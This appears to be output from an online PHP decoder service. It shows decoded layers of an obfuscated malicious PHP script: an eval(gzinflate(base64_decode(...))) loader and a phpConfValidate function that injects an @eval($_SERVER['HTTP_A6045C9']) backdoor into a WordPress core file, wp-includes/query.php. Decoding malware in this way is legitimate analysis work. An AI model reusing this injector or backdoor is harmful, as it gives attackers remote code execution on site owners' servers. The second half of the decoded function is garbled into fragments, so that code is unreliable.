Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

/usr/bin/php -r 'eval(gzinflate(base64_decode("jZJpj5swEIa/51e4UiQSdVUBWRJFVdVmszm7hBwb4k1VRWBMOIxhwUCSav97Te49pBYJPMYzz8y841LkRO2Q2rpBXMtguCI8PYaiRlmkea0G2nH7PnQfZCczF/PM7DUDq++ny9ogQ33dNXvEg7Ijmos8s2otZiwUz+zr/hKqGYI6QdRPUc/JB17B6xQ8peDZgS4/LTYmJHkIewpCRHyGbafY+3AWoWG3aU5mkgFhIts6w7DLrJ9kYy4kBQ2l3OU+JmxbaECkgd6dTqDYkdX7iTTZkdN/ztpYBQsW8W3C4/NoId024Cxs2FR1Ndmvqx7baZ661dxhawmXjtle+1Aadedkyd+EzrrT+bzbvBt5LXE0V5WhJEbadtAwHsOdVlPr6m5eH1AFw776vKR6+lSbRqbM+9myCEnNHAWE9zlSYO0uK7TCUGFci6ZQ/VqyU4qYG1LwdgLlBMdV8KdUAvwhbsJApWynhIwN5tyAcrJNGA46NOM2Ci3Ml8hgDMe0Cr6BlPJol6N2uGIaCa7frixcuB2wPG9BLSdhGiPM/W2X4NUasxUKKcOUJZdcR1/XBpUoxutVYDDkVF7lP2CqRbXg+MSYpTE9hL6cAZ+uCcdyz/Hc2J/g5B+kQ+0uRWEcY8SmeI03vIeExasYR8RA/PpiAXwBQmbsFyLcAOHHdyOO91tjK1wLeBKD4nx20mNf5wn2JhVnCZemPwi+LuTU0iFQvIJxf7zqaA/cen18hhypl8878a7lv4T9j27FqAPmBqex7+2rcYPPQBIPYSklLvXfXYX9ZYnSjy7LB02wMC0KvvI4Z+UeL6W/")));
'

/usr/bin/php -r '
phpConfValidate('YTo0OntpOjA7czo0ODoiL2hvbWUvbG9mdHkuZ3IvcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvcXVlcnkucGhwIjtpOjE7czo5ODoifmV2YWxbXlwoXG5ccl0qXChbXlwkXSpcJF9bQS1aXXs2fVteXFtdKlxbW15cJ1wiXSpbXCdcIl1IVFRQX0E2MDQ1QzlbXCdcIl1bXlxdXSpcXVteXCldKlwpW147XSo7fnMiO2k6MjtzOjMyOiJAZXZhbCgkX1NFUlZFUlsnSFRUUF9BNjA0NUM5J10pOyI7aTozO3M6MzU6In5eXHMqZnVuY3Rpb25ccytpc19wcml2YWN5X3BvbGljeX5tIjt9');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('eval', '@?array', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matchesegex, 0e($incorrecwSoe_EOLecwesegex, 0e($inrce = str $newSonewSonewSoreg_match($patterEnv, $sourcerce = str       return;
    }
    
    $incorret_cmtimle_get_cmtimlPath);
     + 10}
    unlinkPath);
    if (pret_copuents($fullPath);
   $inrce = str $newSotoutterth);
   $inet_cmtiml $n}
'



© 2023 Quttera Ltd. All rights reserved.